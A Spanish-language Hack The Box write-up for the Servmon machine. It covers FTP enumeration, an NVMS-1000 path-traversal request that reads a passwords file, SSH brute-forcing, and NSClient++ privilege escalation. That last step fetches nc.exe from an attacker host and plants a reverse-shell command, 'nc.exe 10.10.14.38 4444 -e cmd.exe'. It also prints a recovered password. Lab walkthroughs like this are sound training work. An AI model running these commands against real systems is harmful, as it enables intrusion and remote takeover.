[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$famvQHbYeQLCBN2Bs2Z5ft4XCL-Mr0bJ9iBSAP3jtV9c":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":15,"image_thumb_url":15,"published_at":16,"updated_at":17,"body_html":18,"keywords":19,"reading_time_minutes":20,"related_articles":21,"related_course":53,"related_specialty":73},"writeup-servmon-hack-the-box","Writeup-Servmon  Hack the box","Pasos para resolver Servmon Hack The Box.Nmap Scan\r\nEnumerate FTP\r\nEnumerate Web Pages\r\nExploit to NVMS-1000 (CVE : 2019–2085)\r\nLocal Port Forwarding via SSH\r\nPriv Escalation on NSClient++ 0.5.2.35",{"slug":8,"name":9},"pentesting","Pentesting ",{"username":11,"name":12,"avatar_url":13,"headline":13,"aboutme":14},"elzerpineda","Elzer Pineda",null,"Consultor de seguridad, Pentester, Threat hunting, Desarrollo, AWS, SOC, Embajador de la Comunuidad Dojo","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdlVPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--70d4bc141a4c051cb9a18e87e5d510779abd76c0\u002Fshutterstock_1480094903.jpg","2020-07-01T13:40:36-04:00","2026-10-26T12:16:47-03:00","\u003Cfigure class=\"gh gi gj gk gl gm dq dr paragraph-image\">\r\n\u003Cdiv class=\"gn go dw gp ai\">\r\n\u003Cdiv class=\"dq dr gg\">\r\n\u003Cdiv class=\"gv r dw gw\">\r\n\u003Cdiv class=\"gx gy r\">\u003Cimg class=\"oe qm s t u gs ai hc\" src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1005\u002F0*mWveGIFCkhB7VyGx.png\" width=\"804\" height=\"520\">\u003C\u002Fdiv>\r\n\u003C\u002Fdiv>\r\n\u003C\u002Fdiv>\r\n\u003C\u002Fdiv>\r\n\u003C\u002Ffigure>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Pasos para resolver Servmon Hack The Box:\u003C\u002Fp>\r\n\u003Cul class=\"\">\r\n\u003Cli class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">Nmap Scan\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli class=\"hd he bx hf b hg ia hi hj ib hl hm ic ho hp id hr hs ie hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">Enumerate FTP\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli class=\"hd he bx hf b hg ia hi hj ib hl hm ic ho hp id hr hs ie hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">Enumerate Web Pages\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli class=\"hd he bx hf b hg ia hi hj ib hl hm ic ho hp id hr hs ie hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">Exploit to NVMS-1000 (CVE : 2019–2085)\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli class=\"hd he bx hf b hg ia hi hj ib hl hm ic ho hp id hr hs ie hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">Local Port Forwarding via SSH\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli class=\"hd he bx hf b hg ia hi hj ib hl hm ic ho hp id hr hs ie hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">Priv Escalation on NSClient++ 0.5.2.35\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">Nmap Scan: \u003C\u002Fstrong>nmap -sC -sV -sS 10.10.10.184\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2488\u002F1*LdgP_Gl2QwN9Bt3e4bSgkQ.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1760\u002F1*_R5PrVjjCQYfXgnAEHb8EQ.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Como hemos visto en los resultados, podemos afirmar que el FTP puede acceder como usuario anónimo. Hagámoslo ahora mismo. Después de un inicio de sesión exitoso, podemos ver que hay un directorio de “Usuarios” y hay dos directorios, “Nadine” y “Nathan”. Intentemos entrar en estos directorios.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">ftp 10.10.10.184\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1793\u002F1*FyDZta3KQavJJa_L8h2tVA.png\">\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">En Nadine, hay un archivo llamado “Confidential.txt” y para Nathan, “Notes to do” . Intenta descargarlos a nuestra máquina local.\u003C\u002Fp>\r\n\u003Ch1 class=\"in io bx bw ip iq ir is it iu iv iw ix iy iz ja jb jc jd je jf ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1793\u002F1*FyDZta3KQavJJa_L8h2tVA.png\">\u003C\u002Fh1>\r\n\u003Ch4 class=\"in io bx bw ip iq ir is it iu iv iw ix iy iz ja jb jc jd je jf ap\">Descargamos nuestros archivos con el comando \u003Cstrong class=\"bk\">get <file>\u003C\u002Fstrong>\n\u003C\u002Fh4>\r\n\u003Cp>\u003Cstrong class=\"bk\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1608\u002F1*0CmGoxXMea3Avi6sZzEYag.png\">\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Entonces, tenemos dos archivos de texto. Abrámoslo y leámoslo.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2155\u002F1*wR2SVSxmNiI0y2g60M4LMQ.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Después de leer estos dos archivos, podemos saber que Nathan y Nadine son usuarios de nuestra máquina objetivo. Así que, vamos a avanzar al puerto 80.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Una duda que nos surge, no hace preguntarnos, ¿por qué no al puerto 22?\u003Cbr>Sí, formalmente el puerto 22 necesita nombre de usuario y contraseña. Ahora tenemos 2 nombres de usuario. ¿Dónde está la contraseña? Entonces, necesitamos encontrar contraseñas de otros servicios o puertos. Por eso dejamos el puerto 22.\u003Cbr>Intenta enumerar el puerto 80.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2413\u002F1*PTtWRAA2dF6DYxjk5XTJQQ.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">En el puerto 80, hay una página web, que pide nombre de usuario y contraseña. Así que simplemente introduje “admin : admin”. Pero falló. Así que, cambié el nombre de usuario por “nadine\u002Fnathan” e intenté evitar las contraseñas. Después de intentarlo por 5 minutos, terminé allí y traté de enumerar otros en la página web y me percate por lo siguiente:\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">¿Cuál es el nombre del panel de acceso? NVMS-1000, ¿verdad? Rápidamente busqué el exploit NVMS- 1000 en Google. Afortunadamente, encontré CVE en Exploit-DB: \u003Ca class=\"cm di jm jn jo jp\" href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F47774\">https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F47774\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Leí los detalles de este CVE y prepare mi burp suite, al interceptar el formulario de solicitud del puerto 80, \u003Ca class=\"cm di jm jn jo jp\" href=\"http:\u002F\u002F10.10.10.184\u002FPages\u002Flogin.htm\">http:\u002F\u002F10.10.10.184\u002FPages\u002Flogin.htm\u003C\u002Fa> envié la solicitud a la pestaña de repetidor y seguí al CVE y funcionó.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Intentemos:\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\"> \u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">1. Incerceptar la petecion con nuestro proxy de burpsuite y enviarla a nuestra pestaña de repetidor para modificar la peticíon.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F3178\u002F1*6RD08JZ9EvOe_lPCdB11GQ.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Por lo tanto, debemos recordar el contenido de Confidential.txt .\u003Cbr>“Dejé tu archivo Passwords.txt en tu escritorio”\u003Cbr>Así que cambiemos el directorio de solicitudes.\u003C\u002Fp>\r\n\u003Ch5 class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong>GET \u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FUsers\u002FNathan\u002FDesktop\u002FPasswords.txt HTTP\u002F1.1\u003C\u002Fstrong>\u003C\u002Fh5>\r\n\u003Cp>\u003Cstrong>\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F3178\u002F1*jS5zo0soYTyw26Yl2awFMA.png\">\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Tenemos nombres de usuario y contraseñas. Así que, volvamos al puerto 22 SSH. Usaré a Hydra para la fuerza bruta con la obtención de nombres de usuario y contraseñas.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">En nuestro archivo users.txt tenemos nuestros dos usuarios y en el archivo pass.txt nuestras contraseñas encontradas.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Después de una exitosa fuerza bruta, obtuve el nombre de usuario y la contraseña de SSH.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">ssh \u003Ca href=\"mailto:nadine@10.10.10.184\">nadine@10.10.10.184\u003C\u002Fa>\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2148\u002F1*5VNcDmyZp0-vDDXIS1jMuA.png\">\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2148\u002F1*e-AdUjEFSkIby6hG2Wgk1A.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Después de acceder a SSH con el nombre de usuario y la contraseña de arriba, tenemos el shell de usuario de Nadine. Lo terminé aquí y traté de enumerar otro puerto más alto, el 8443. Como ya hemos visto en los resultados de Nmap, lleva a una página web con SSL. Así que, vamos a enumerar en el navegador web.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cem class=\"ju\">\u003Ca href=\"https:\u002F\u002F10.10.10.184:8443\">https:\u002F\u002F10.10.10.184:8443\u003C\u002Fa>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cem class=\"ju\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2735\u002F1*3YGLl061CLWQ6iflhJkfRQ.png\">\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Podemos ver que NSClient++ está funcionando en el puerto 8443. Pero me he dado cuenta de que esta página está rota y recientemente sé que esta página está corriendo en el localhost. Porque he resuelto una caja como esa en VulnLab.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Como hicimos en la parte de usuario del puerto 80, busquemos algún exploit en Google. Aquí también encontramos CVE \u003Ca class=\"cm di jm jn jo jp\" href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F46802\">https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F46802\u003C\u002Fa> y seguirlo. Intentemos leer los archivos de programa\u003C\u002Fp>\r\n\u003Cul class=\"\">\r\n\u003Cli class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">c:\\program files\\nsclient++\\nsclient.ini\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Aquí podemos ver la contraseña y los hosts permitidos.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1625\u002F1*uH7q2gA1CjbV5a32sayI1Q.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Siguiendo las instrucciones del CVE para explotar la vulnerabilidad de elevación de privilegios solo debemos crear un pequeño script .bat que nos permita llamar un nc.exe a nuestro servidor y colocar el archivo en la siguiente ruta de\u003Cstrong class=\"hf hz\">l \u002Fapi\u002Fv1\u002Fscripts\u002Fext\u002Fscripts\u002F \u003C\u002Fstrong>para que pueda ser ejecutado por NSclient y de esta manera lograr elevar los privilegios.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Iniciamos un http.server con python en nuestro equipo para pasar los archivos a SERVMON\u003C\u002Fp>\r\n\u003Cul class=\"\">\r\n\u003Cli class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv hw hx hy ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">python3 -m http.server 80\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Descargamos nuestro nc.exe en C:\\temp\\nc.exe\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">powershell.exe wget \u003C\u002Fem>\u003C\u002Fstrong>\u003Ca class=\"cm di jm jn jo jp\" href=\"http:\u002F\u002F10.10.14.38\u002Fnc.exe\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">http:\u002F\u002F10.10.14.38\u002Fnc.exe\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fa>\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\"> -outfile “c:\\temp\\nc.exe”\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2005\u002F1*kAAGsY0HVdupyC0zrKctxw.png\">\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Creamos nuestro archivo .bat\u003C\u002Fp>\r\n\u003Ch5 class=\"in io bx bw ip iq ir is it iu iv iw ix iy iz ja jb jc jd je jf ap\">\u003Cstrong>Contenido de me.bat\u003C\u002Fstrong>\u003C\u002Fh5>\r\n\u003Ch5 class=\"in io bx bw ip iq ir is it iu iv iw ix iy iz ja jb jc jd je jf ap\">\u003Cem class=\"kd\">@echo off\u003C\u002Fem>\u003C\u002Fh5>\r\n\u003Ch5 class=\"in io bx bw ip iq ir is it iu iv iw ix iy iz ja jb jc jd je jf ap\">\u003Cem class=\"kd\">C:\\Temp\\nc.exe 10.10.14.38 4444 -e cmd.exe\u003C\u002Fem>\u003C\u002Fh5>\r\n\u003Cp class=\"hd he bx hf b hg ke hi hj kf hl hm kg ho hp kh hr hs ki hu hv ei ap\">Descargamos nuestros archivos en Servmon con los siguientes comandos:\u003C\u002Fp>\r\n\u003Cul class=\"\">\r\n\u003Cli class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv hw hx hy ap\">\n\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">powershell.exe wget \u003C\u002Fem>\u003C\u002Fstrong>\u003Ca class=\"cm di jm jn jo jp\" href=\"http:\u002F\u002F10.10.14.38\u002Fme.bat\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">http:\u002F\u002F10.10.14.38\u002Fme.bat\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fa>\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\"> -outfile “c:\\temp\\me.bat\u003C\u002Fem>\u003C\u002Fstrong>\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2005\u002F1*UB1W9fKkBRROZwcH61UNMg.png\">\u003C\u002Fem>\u003C\u002Fstrong>\n\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Luego de revisar el sistema operativo me encontre que puedo ejecutar curl y cargar nuestras propias peticiones desde el servidor al \u003Ca href=\"https:\u002F\u002Flocalhost:8443\">https:\u002F\u002Flocalhost:8443\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2150\u002F1*E2elagtnbiCmiFugwlxETA.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Aprovechando esta ventaja y con nuestra contraseña encontrada en nsclient.ini cargeremos al servidor nuestro archivo me.bat en la ruta especificada por el CVE y aprovechar esta vulnerabilidad.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">Contraseña en nsclient.ini: \u003C\u002Fstrong>ew2x6SsGTxjRwXOT\u003C\u002Fp>\r\n\u003Ch1 class=\"in io bx bw ip iq ir is it iu iv iw ix iy iz ja jb jc jd je jf ap\">\u003Cstrong class=\"bk\">curl en accíon!\u003C\u002Fstrong>\u003C\u002Fh1>\r\n\u003Cp class=\"hd he bx hf b hg ke hi hj kf hl hm kg ho hp kh hr hs ki hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">curl -s -k -u admin -X PUT \u003C\u002Fem>\u003C\u002Fstrong>\u003Ca class=\"cm di jm jn jo jp\" href=\"https:\u002F\u002Flocalhost:8443\u002Fapi\u002Fv1\u002Fscripts\u002Fext\u002Fscripts\u002Fme.bat\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">https:\u002F\u002Flocalhost:8443\u002Fapi\u002Fv1\u002Fscripts\u002Fext\u002Fscripts\u002Fme.bat\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fa>\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\"> — data-binary “\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">C:\\temp\\nc.exe 10.10.14.38 4444 -e cmd.exe”\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F2228\u002F1*8p3z6bYroYaOP-bf81G08g.png\">\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">curl -s -k -u admin \u003C\u002Fem>\u003C\u002Fstrong>\u003Ca class=\"cm di jm jn jo jp\" href=\"https:\u002F\u002F127.0.0.1:8443\u002Fapi\u002Fv1\u002Fqueries\u002Fevil\u002Fcommands\u002Fexecute?time=2m\">\u003Cstrong class=\"hf hz\">\u003Cem class=\"ju\">https:\u002F\u002F127.0.0.1:8443\u002Fapi\u002Fv1\u002Fqueries\u002Fevil\u002Fcommands\u002Fexecute?time=2m\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Después de esperar dos minutos y conseguiremos la conexión inversa de la máquina objetivo a nuestra máquina local.\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">Levantamos nuestro netcat para recibir nuestra reverse shell y estaremos como nt authority\\system\u003C\u002Fp>\r\n\u003Ch5 class=\"kn io bx bw ip ko kp hi kq kr hl ks kt ho ku kv hr kw kx hu ky ap\">nc -lnvp 433\u003C\u002Fh5>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fmiro.medium.com\u002Fmax\u002F1091\u002F1*4Lb0hoVl-dKZdPhkaTqOPw.png\">\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">ROOT!!!\u003C\u002Fp>\r\n\u003Cp class=\"hd he bx hf b hg hh hi hj hk hl hm hn ho hp hq hr hs ht hu hv ei ap\">\u003Ca class=\"cm di jm jn jo jp\" href=\"https:\u002F\u002Fwww.hackthebox.eu\u002Fhome\u002Fusers\u002Fprofile\u002F64172\">https:\u002F\u002Fwww.hackthebox.eu\u002Fhome\u002Fusers\u002Fprofile\u002F64172\u003C\u002Fa>\u003C\u002Fp>","Pasos para resolver Servmon Hack The Box:",4,[22,33,42],{"slug":23,"title":24,"summary":25,"category":26,"author":27,"image_url":30,"image_thumb_url":30,"published_at":31,"updated_at":32},"write-up-maquina-webdeveloper1-de-vulnhub","Write-up máquina WebDeveloper1 de VulnHub","Buenas, soy Martin Frias (otra vez), en unos días se hará público mi primer curso en esta plataforma llamado “Hacking Ético boot2root”, en este curso abordaremos cómo es la resolución de una máquina tipo boot2root que yo elabore, ColddBox: Easy, disponible tanto en VulnHub como en TryHackMe.",{"slug":8,"name":9},{"username":28,"name":29,"avatar_url":13},"coldd","Martin Frias","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzBQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9088ff4d9195016e15c3d716536a9879894e0d65\u002Fshutterstock_1269857698.jpg","2021-04-15T16:16:19-04:00","2026-10-26T11:48:31-03:00",{"slug":34,"title":35,"summary":36,"category":37,"author":38,"image_url":39,"image_thumb_url":39,"published_at":40,"updated_at":41},"uso-de-foca-para-extraer-metadatos","Uso de FOCA para extraer metadatos.","FOCA es una herramienta que permite extraer los metadatos de un fichero y\u002Fo buscar ficheros en una determinada web para posteriormente extraer sus metadatos, bien los metadatos básicamente son un grupo de datos que describen otros datos, es información “oculta” que puede existir dentro de algún fichero o incluso en las llamadas telefónicas y que nos proporciona más información sobre este.",{"slug":8,"name":9},{"username":28,"name":29,"avatar_url":13},"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ3dQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--c5a64e37a690cceb850d405b7fbe7fbc6adbc2ec\u002Fshutterstock_1184620222.jpg","2021-04-13T15:31:27-04:00","2026-10-26T11:55:40-03:00",{"slug":43,"title":44,"summary":45,"category":46,"author":47,"image_url":50,"image_thumb_url":50,"published_at":51,"updated_at":52},"la-importancia-de-un-soar-en-terminos-de-seguridad","La importancia de un SOAR en términos de seguridad","Es conocido que el avance tecnológico es cosa del día a día y así los peligros que este puede materializar en el Ciberespacio, es por esto que son muchas las herramientas necesarias a las cuales optan las empresas para proteger sus datos y activos. Pero esto tiene una curva cada vez más amplia, donde lo que se tiene integrado es un mero sinónimo de lo mucho que hace falta.",{"slug":8,"name":9},{"username":48,"name":49,"avatar_url":13},"user-1570553853","Flavio Esteban Canales Salvo","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ2tQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9a8439d5a0017e9aef4bb6e77a0f6ebaee6f3e68\u002Fshutterstock_1147173719.jpg","2021-01-14T14:26:15-03:00","2026-10-26T16:30:30-03:00",{"slug":54,"title":55,"summary":56,"level":57,"specialty":58,"category":61,"instructor":62,"image_url":66,"image_thumb_url":66,"duration_seconds":67,"lessons_count":68,"students_count":69,"is_free":70,"coming_soon":71,"updated_at":72},"introduccion-a-la-seguridad","Introducción a la Seguridad","Este curso tiene como objetivo comenzar en el mundo de la seguridad informática.","Basicos",{"slug":59,"name":60},"enterprise-pentesting-training-ept","Penetration Testing Student",{"slug":8,"name":9},{"username":63,"name":64,"avatar_url":65},"misaelban","Misael 